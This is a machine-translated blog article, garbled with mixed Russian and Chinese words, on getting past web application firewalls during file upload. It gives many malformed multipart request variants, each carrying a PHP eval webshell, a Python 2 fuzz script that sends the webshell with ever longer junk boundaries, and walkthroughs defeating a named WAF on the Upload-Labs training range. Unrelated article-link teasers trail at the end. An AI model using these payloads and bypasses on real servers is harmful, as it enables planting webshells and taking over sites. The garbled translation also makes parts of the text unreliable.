Сухая информация | Краткое описание наиболее полной уязвимости при загрузке файлов — обход перехвата WAF
Сухая информация | Краткое описание наиболее полной уязвимости при загрузке файлов — обход перехвата WAF

Анализ пакетов загрузки HTTP-файлов

Загрузка файла — это, по сути, POST-запрос от клиента, а тело сообщения — это некоторая информация о загрузке. Необходимо указать внешнюю страницу загрузки. enctypeдляmultipart/from-dataбыть нормальнымзагрузитьдокумент。

Обычный пакет загрузки файла выглядит примерно следующим образом:

Язык кода:javascript
копировать
POST http://www.example.com HTTP/1.1
Content-Type:multipart/form-data; boundary=----WebKitFormBoundaryyb1zYhTI38xpQxBK

------WebKitFormBoundaryyb1zYhTI38xpQxBK
Content-Disposition: form-data; name="city_id"

1
------WebKitFormBoundaryyb1zYhTI38xpQxBK
Content-Disposition: form-data; name="company_id"

2
------WebKitFormBoundaryyb1zYhTI38xpQxBK
Content-Disposition: form-data; name="file"; filename="chrome.png"
Content-Type: image/png

PNG ... content of chrome.png ...
------WebKitFormBoundaryyb1zYhTI38xpQxBK--

Характеристики, полученные от него:

•проситьHeaderсерединаContent-TypeСуществуют следующие характеристики:•multipart/form-data:表示该просить是一个документзагрузитьпросить•существоватьboundaryнить:作用для分隔符,различатьPOSTданные•POST的内容Существуют следующие характеристики:•Content-Disposition:响应标头是指示内容是否预期在浏览器середина内联显示的标题。•name:Содержит содержимое, на которое ссылается это поле. HTML имя поля。•filename:后面是一个包含传输документ的原始名称的нить。•POSTсередина的boundaryЗначениеContent-TypeЗначение добавляется с двумя впереди--,За исключением последнего признака концаboundary•Последний признак концаboundaryВ конце концов, по умолчанию будет еще два--(во время тестирования,последняя строкаboundaryУдаление также может быть успешнымзагрузить)

Файл загружается в изменяемое место пакета данных.

Content-Disposition:В целом можно изменить•name:значение параметра формы,нельзя изменить•filename:документ名,Можно изменить•Content-Type:документ MIME,Возможны изменения•boundary:Отдел контента,Можно изменить

Как WAF блокирует вредоносные файлы

Вы можете сначала сами представить, если бы вас попросили написать WAF, с каких сторон вы бы его защищали.

• Имя файла • Проанализируйте имя файла, чтобы определить, находится ли он в черном списке. • Содержимое файла • Анализ содержимого файла, чтобы определить, является ли он веб-оболочкой. • Разрешения для каталога файлов. • Для этой функции требуется реализация WAF на хосте.

В настоящее время на рынке принято анализировать имена файлов, а некоторые WAF, такие как Changting, анализируют содержимое файлов. Следующее содержимое основано на анализе имен файлов.

Общие шаги следующие:

1. Получить запрос HeaderвнутриContent-Typeценитьсередина获取boundaryценить2.По первому шагуboundaryценить,Анализ POST-данных,Получить имя файла 3. Определить, находится ли имя файла в черном списке перехвата/вне белого списка.

Поняв, как WAF перехватывает вредоносные файлы, я разделил распространенные методы обхода на следующие категории и, наконец, использовал последнюю версию средства безопасности для демонстрации обхода.

вариация персонажа

Преобразование кавычек

Значение поля заголовка можно добавлять с одинарными, двойными кавычками или без кавычек, и это не повлияет на результат загрузки.

Язык кода:javascript
копировать
Content-Disposition: "form-data"; name=file_x; filename="xx.php"
Content-Disposition: form-data; name=file_x; filename="xx.php"
Content-Disposition: form-data; name=file_x; filename=xx.php
Content-Disposition: form-data; name="file_x"; filename=xx.php
Content-Disposition: form-data; name='file_x'; filename='xx.php'
Content-Disposition: 'form-data'; name="file_x"; filename='xx.php'

можно удалитьfilenameнитьсередина末尾的引号,Можно и нормальнозагрузить

Язык кода:javascript
копировать
Content-Disposition: form-data; name="file_x"; filename="xx.php
Content-Disposition: form-data; name="file_x"; filename='xx.php
Content-Disposition: form-data; name="file_x"; filename="xx.php;

Преобразование корпуса

Преобразуйте верхний и нижний регистр этих трех фиксированных строк.

•Content-Disposition•name•filename

напримерnameпреобразован вName,Content-Dispositionпреобразован вcontent-disposition

Добавить символ новой строки

Между значением поля и знаком равенства можно добавить символ новой строки.,Все еще может быть нормальнымзагрузить,Ниже я использую[0x09]заменить новую строку

Язык кода:javascript
копировать
Content-Disposition: "form-data"; name="file_x"; filename=[0x09]"xx.php"
Content-Disposition: "form-data"; name="file_x"; filename=[0x09]"xx.php
Content-Disposition: "form-data"; name="file_x"; filename=[0x09]"xx.php"[0x09]
Content-Disposition: "form-data"; name="file_x"; filename=[0x09]xx.php
Content-Disposition: "form-data"; name="file_x"; filename=[0x09]xx.php[0x09];

несколько точек с запятой

При анализе файла имя файла может не анализироваться из-за точки с запятой, что приводит к обходу.

Язык кода:javascript
копировать
Content-Disposition: form-data; name="file_x";;; filename="test.php"

Несколько знаков равенства

Используйте несколько в контенте POST знаков равенства对документзагрузить Никакого влияния。

Язык кода:javascript
копировать
Content-Disposition: form-data; name=="file_x"; filename===="test.php"

Преобразуйте значение Content-Disposition

При анализе некоторых WAF,认дляContent-Dispositionценить一定是form-data,вызывая обход。на самом делеContent-Disposition可以任意变换或для空。

Язык кода:javascript
копировать
Content-Disposition: fOrM-DaTA; name="file_x"; filename="xx.php"
Content-Disposition: form-da+ta; name="file_x"; filename="xx.php"
Content-Disposition: fo    r m-dat a; name="file_x"; filename="xx.php"
Content-Disposition: form-dataxx; name="file_x"; filename="xx.php"
Content-Disposition: name="file_x"; filename="xx.php"

Деформированная граничная головка

boundary可以变化для如下形式,и не влияетзагрузить:

нормальныйboundary

Язык кода:javascript
копировать
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarye111

деформированныйboundary

multipart/form-dataПеременная регистра:

Язык кода:javascript
копировать
Content-Type: mUltiPart/ForM-dATa; boundary=----WebKitFormBoundarye111

multipart/form-dataиboundaryМожно разделить пробелами,И любое значение можно вставить в середину:

Язык кода:javascript
копировать
Content-Type: multipart/form-data boundary=----WebKitFormBoundarye111
Content-Type: multipart/form-data x boundary=----WebKitFormBoundarye111
Content-Type: multipart/form-data abcdefg boundary=----WebKitFormBoundarye111
Content-Type: multipart/form-data a\|/?!@#$%^() boundary=----WebKitFormBoundarye111

multipart/form-dataиboundaryМожно разделить запятыми,И любое значение можно вставить в середину:

Язык кода:javascript
копировать
Content-Type: multipart/form-data,boundary=----WebKitFormBoundarye111
Content-Type: multipart/form-data,x,boundary=----WebKitFormBoundarye111
Content-Type: multipart/form-data,abcdefg,boundary=----WebKitFormBoundarye111
Content-Type: multipart/form-data,a\|/?!@#$%^(),boundary=----WebKitFormBoundarye111

boundary之前可以直接加入任何ценить(PHPдостижимый):

Язык кода:javascript
копировать
Content-Type: multipart/form-data;bypass&123**{|}boundary=----WebKitFormBoundarye111
Content-Type: multipart/form-data bypass&123**{|}boundary=----WebKitFormBoundarye111
Content-Type: multipart/form-data,bypass&123**{|}boundary=----WebKitFormBoundarye111

boundary末尾可以使用逗号或分号隔开插入任何ценить

Язык кода:javascript
копировать
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarye111;123abc
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarye111,123abc

обратный порядок

Поменяйте порядок имени и имени файла

因для规定了Content-DispositionДолжно быть впереди,Поэтому я могу только Поменяйте порядок имени и имени файла。

некоторыйWAFможет соответствоватьnameперед,filenameпозади,Может привести к обходу.

Язык кода:javascript
копировать
Content-Disposition: form-data; filename="xx.php"; name="file_x"

Поменяйте местами порядок Content-Disposition и Content-Type.

Как и выше, Content-Disposition и Content-Type также могут менять порядок.

Язык кода:javascript
копировать
Content-Type: image/png
Content-Disposition: form-data; name="upload_file"; filename="shell.php"

Меняйте порядок различного содержимого границ

Различное содержимое границ также можно обменивать, не влияя на загрузку файлов.

Язык кода:javascript
копировать
------WebKitFormBoundaryzEHC1GyG8wYOH1rf
Content-Disposition: form-data; name="submit"

загрузить
------WebKitFormBoundaryzEHC1GyG8wYOH1rf
Content-Disposition: form-data; name="upload_file"; filename="shell.php"
Content-Type: image/png

<?php @eval($_POST['x']);?>

------WebKitFormBoundaryzEHC1GyG8wYOH1rf--

Дублирование данных

Дублируемое содержимое границы

Последний загруженный файл — это «shell.php» вместо «shell.jpg», но если вы возьмете только первое имя файла, оно будет пропущено.

Язык кода:javascript
копировать
------WebKitFormBoundarymeEzpUTMsmOfjwAA
Content-Disposition: form-data; name="upload_file"; filename="shell.jpg"
Content-Type: image/png

<?php @eval($_POST['hack']); ?>
------WebKitFormBoundarymeEzpUTMsmOfjwAA
Content-Disposition: form-data; name="upload_file"; filename="shell.php"
Content-Type: image/png

<?php @eval($_POST['hack']); ?>
------WebKitFormBoundarymeEzpUTMsmOfjwAA
Content-Disposition: form-data; name="submit"

загрузить
------WebKitFormBoundarymeEzpUTMsmOfjwAA--

Следующее также можно загрузить в обычном режиме

Язык кода:javascript
копировать
------WebKitFormBoundarymeEzpUTMsmOfjwAA
------WebKitFormBoundarymeEzpUTMsmOfjwAA--
------WebKitFormBoundarymeEzpUTMsmOfjwAA;123
------WebKitFormBoundarymeEzpUTMsmOfjwAA
Content-Disposition: form-data; name="upload_file"; filename="shell.php"
Content-Type: image/png

<?php @eval($_POST['hack']); ?>
------WebKitFormBoundarymeEzpUTMsmOfjwAA
Content-Disposition: form-data; name="submit"

загрузить
------WebKitFormBoundarymeEzpUTMsmOfjwAA--

имя файладубликат

Имя файла, который наконец был успешно загружен, было Shell.php. Но при анализе имени файла будет анализироваться первое. Регулярные выражения по умолчанию будут соответствовать первому.

Язык кода:javascript
копировать
Content-Disposition: form-data; name="upload_file"; filename="shell.jpg filename="shell.jpg"; filename="shell.jpg"; filename="shell.jpg"; filename="shell.jpg"; filename="shell.jpg"; filename="shell.php";

Переполнение данных

Вставить мусорные данные между именем и именем файла

Между именем и именем файла вставлено много ненужных данных.

Язык кода:javascript
копировать
POST /Pass-02/index.php HTTP/1.1
Host: hackrock.com:813
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzEHC1GyG8wYOH1rf
Connection: close

------WebKitFormBoundaryzEHC1GyG8wYOH1rf
Content-Disposition: form-data; name="upload_file"; fbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf; 
filename="shell.php"
Content-Type: image/png

<?php @eval($_POST['x']);?>

------WebKitFormBoundaryzEHC1GyG8wYOH1rf
Content-Disposition: form-data; name="submit"

загрузить
------WebKitFormBoundaryzEHC1GyG8wYOH1rf--

Примечание. Вам необходимо добавить «;» после большого количества ненужных данных.

Добавить ненужные данные в граничную строку

Значением граничной строки могут быть любые данные (с определенным ограничением длины). Когда длина достигает длины, которую WAF не может обработать, и веб-сервер может ее обработать, файл можно загрузить в обход WAF.

Язык кода:javascript
копировать
POST /Pass-01/index.php HTTP/1.1
Host: hackrock.com:813
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bfWebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9
Connection: close

------WebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bfWebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9
Content-Disposition: form-data; name="upload_file";filename="shell.php"
Content-Type: image/png

<?php @eval($_POST['x']);?>

------WebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bfWebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9
Content-Disposition: form-data; name="submit"

загрузить
------WebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bfWebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9--

Вставить мусорные данные в конец привязки

упоминалось только сейчасboundary末尾可以插入任何данные,Тогда ты сможешьboundaryнить末尾加入大量垃圾данные。

Язык кода:javascript
копировать
POST /Pass-01/index.php HTTP/1.1
Host: hackrock.com:813
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzEHC1GyG8wYOH1rf,bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bfWebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9
Connection: close
Content-Length: 592

------WebKitFormBoundaryzEHC1GyG8wYOH1rf
Content-Disposition: form-data; name="upload_file"; filename="shell.php"
Content-Type: image/png

<?php @eval($_POST['x']);?>

------WebKitFormBoundaryzEHC1GyG8wYOH1rf
Content-Disposition: form-data; name="submit"

загрузить
------WebKitFormBoundaryzEHC1GyG8wYOH1rf--

Вставка ненужных данных между multipart/form-data и границей

упоминалось только сейчасmultipart/form-dataиboundary之间可以插入任何данные,Тогда ты сможешьmultipart/form-dataиboundary之间加入大量垃圾данные。

Язык кода:javascript
копировать
POST /Pass-01/index.php HTTP/1.1
Host: hackrock.com:813
Content-Type: multipart/form-data bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bfWebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9boundary=----WebKitFormBoundaryzEHC1GyG8wYOH1rf
Connection: close
Content-Length: 319

------WebKitFormBoundaryzEHC1GyG8wYOH1rf
Content-Disposition: form-data; name="upload_file"; filename="shell.php"
Content-Type: image/png

<?php @eval($_POST['x']);?>

------WebKitFormBoundaryzEHC1GyG8wYOH1rf
Content-Disposition: form-data; name="submit"

загрузить
------WebKitFormBoundaryzEHC1GyG8wYOH1rf--

усечение данных

Возврат каретки и усечение перевода строки

Значение заголовка запроса POST (а не заголовка запроса) может переноситься по строкам, но в середине не должно быть пустых строк. Если WAF соответствует имени файла до конца новой строки, его можно обойти.

Язык кода:javascript
копировать
Content-Disposition: for
m-data; name="upload_
file"; fi
le
name="sh
ell.p
h
p"

усечение точкой с запятой

Если WAF сопоставляет имя файла с точкой с запятой, это можно обойти.

Язык кода:javascript
копировать
Content-Disposition: form-data; name="upload_file"; filename="shell.jpg;.php"

усечение цитаты

php<5.3 Нечетное и четное усечение цитатыхарактеристика。

Язык кода:javascript
копировать
Content-Disposition: form-data; name="upload_file"; filename="shell.jpg'.php"
Content-Disposition: form-data; name="upload_file"; filename="shell.jpg".php"

00 усечение

%00 в URL-адресе представляет собой 0 в коде ascl. ,В ascii 0 зарезервирован как специальный символ.,Итак, когдаurlсередина出现%00时就会认для读取已结束。используется здесь[0x00]заменять16шестнадцатеричный00характер

Язык кода:javascript
копировать
Content-Disposition: form-data; name="upload_file"; filename="shell.php[0x00].jpg"

Практический бой – обход загрузки файла охранной собаки

Экспериментальная среда

Диапазон: Upload-Labs (Pass-1)

База данных: MySQL 5.5.

Веб-скрипт: PHP 5.4.19.

WAF: Собака безопасности веб-сайта (версия Apache) v4.0.3025

Во время теста служба безопасности веб-сайта включала только защиту загрузки, в противном случае файлы диапазона были бы удалены из-за ложных срабатываний.

image-20220122153541822

Настоящий боевой - Напишите скрипт Fuzz для использования перезаполнения. данныхобойти

Поскольку в граничную строку может быть добавлено много ненужных данных, здесь написан скрипт Fuzz, чтобы проверить, можно ли их обойти:

Язык кода:javascript
копировать
#! /usr/bin/env python
# _*_  coding:utf-8 _*_

import requests
import random

url="http://hackrock.com:813/Pass-01/index.php"

def generate_random_str(randomlength=16):
    random_str = ''
    base_str = 'ABCDEFGHIGKLMNOPQRSTUVWXYZabcdefghigklmnopqrstuvwxyz0123456789'
    length = len(base_str) - 1
    for i in range(randomlength):
        random_str += base_str[random.randint(0, length)]
    return random_str

for i in range(10,8000,50):
    stri = generate_random_str(i)
    try:

        headers = {
            "Host":"hackrock.com:813",
            "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36",
            "Referer":"http://hackrock.com:813/Pass-01/index.php",
            "Content-Type":"multipart/form-data; boundary=----" + stri
        }
        payload = """
            ------""" + stri +"""
            Content-Disposition: form-data; name="upload_file"; filename="shell.php"
            Content-Type: image/png

            <?php @eval($_POST['hack']); ?>

            ------""" + stri + """
            Content-Disposition: form-data; name="submit"

            загрузить
            ------""" + stri + """--

        """

        response=requests.post(url=url,headers=headers,data=payload,timeout=0.5)
        result = response.content
        print result
        print stri
        print "\n"
        #print payload
        #print headers
        if result.count('загрузить'):
            print "Length is : %s " % str(i)
            break
    except:
        print "."

Это написано с использованием python2.7. При запуске убедитесь, что установлены среда python2 и библиотека Python.

Окончательный результат измерения имеет длину 3710 символов и выглядит следующим образом:

image-20220122154848589

Хотя это не помогло нам загрузить его, оно могло успешно обойти перехват охранной собакой.

Давайте попробуем поместить созданный пакет данных в Burp:

image-20220122155843047

Успешно обошли.

Практический бой два - Использование 00 усечение Обход

загрузитьдокумент,Используйте Burp для захвата пакетов,Воляfilename的ценить改для:shell.php;.jpg

image-20220122160953684

Затем откройте шестнадцатеричный код (шестнадцатеричное значение точки с запятой — 0x3b) и измените шестнадцатеричное содержимое, изменив 3b на 00:

image-20220122161153160

Отправить данные.

image-20220122161340032

Успешно обошли.

boy illustration
Неразрушающее увеличение изображений одним щелчком мыши, чтобы сделать их более четкими артефактами искусственного интеллекта, включая руководства по установке и использованию.
boy illustration
Копикодер: этот инструмент отлично работает с Cursor, Bolt и V0! Предоставьте более качественные подсказки для разработки интерфейса (создание навигационного веб-сайта с использованием искусственного интеллекта).
boy illustration
Новый бесплатный RooCline превосходит Cline v3.1? ! Быстрее, умнее и лучше вилка Cline! (Независимое программирование AI, порог 0)
boy illustration
Разработав более 10 проектов с помощью Cursor, я собрал 10 примеров и 60 подсказок.
boy illustration
Я потратил 72 часа на изучение курсорных агентов, и вот неоспоримые факты, которыми я должен поделиться!
boy illustration
Идеальная интеграция Cursor и DeepSeek API
boy illustration
DeepSeek V3 снижает затраты на обучение больших моделей
boy illustration
Артефакт, увеличивающий количество очков: на основе улучшения характеристик препятствия малым целям Yolov8 (SEAM, MultiSEAM).
boy illustration
DeepSeek V3 раскручивался уже три дня. Сегодня я попробовал самопровозглашенную модель «ChatGPT».
boy illustration
Open Devin — инженер-программист искусственного интеллекта с открытым исходным кодом, который меньше программирует и больше создает.
boy illustration
Эксклюзивное оригинальное улучшение YOLOv8: собственная разработка SPPF | SPPF сочетается с воспринимаемой большой сверткой ядра UniRepLK, а свертка с большим ядром + без расширения улучшает восприимчивое поле
boy illustration
Популярное и подробное объяснение DeepSeek-V3: от его появления до преимуществ и сравнения с GPT-4o.
boy illustration
9 основных словесных инструкций по доработке академических работ с помощью ChatGPT, эффективных и практичных, которые стоит собрать
boy illustration
Вызовите deepseek в vscode для реализации программирования с помощью искусственного интеллекта.
boy illustration
Познакомьтесь с принципами сверточных нейронных сетей (CNN) в одной статье (суперподробно)
boy illustration
50,3 тыс. звезд! Immich: автономное решение для резервного копирования фотографий и видео, которое экономит деньги и избавляет от беспокойства.
boy illustration
Cloud Native|Практика: установка Dashbaord для K8s, графика неплохая
boy illustration
Краткий обзор статьи — использование синтетических данных при обучении больших моделей и оптимизации производительности
boy illustration
MiniPerplx: новая поисковая система искусственного интеллекта с открытым исходным кодом, спонсируемая xAI и Vercel.
boy illustration
Конструкция сервиса Synology Drive сочетает проникновение в интрасеть и синхронизацию папок заметок Obsidian в облаке.
boy illustration
Центр конфигурации————Накос
boy illustration
Начинаем с нуля при разработке в облаке Copilot: начать разработку с минимальным использованием кода стало проще
boy illustration
[Серия Docker] Docker создает мультиплатформенные образы: практика архитектуры Arm64
boy illustration
Обновление новых возможностей coze | Я использовал coze для создания апплета помощника по исправлению домашних заданий по математике
boy illustration
Советы по развертыванию Nginx: практическое создание статических веб-сайтов на облачных серверах
boy illustration
Feiniu fnos использует Docker для развертывания личного блокнота Notepad
boy illustration
Сверточная нейронная сеть VGG реализует классификацию изображений Cifar10 — практический опыт Pytorch
boy illustration
Начало работы с EdgeonePages — новым недорогим решением для хостинга веб-сайтов
boy illustration
[Зона легкого облачного игрового сервера] Управление игровыми архивами
boy illustration
Развертывание SpringCloud-проекта на базе Docker и Docker-Compose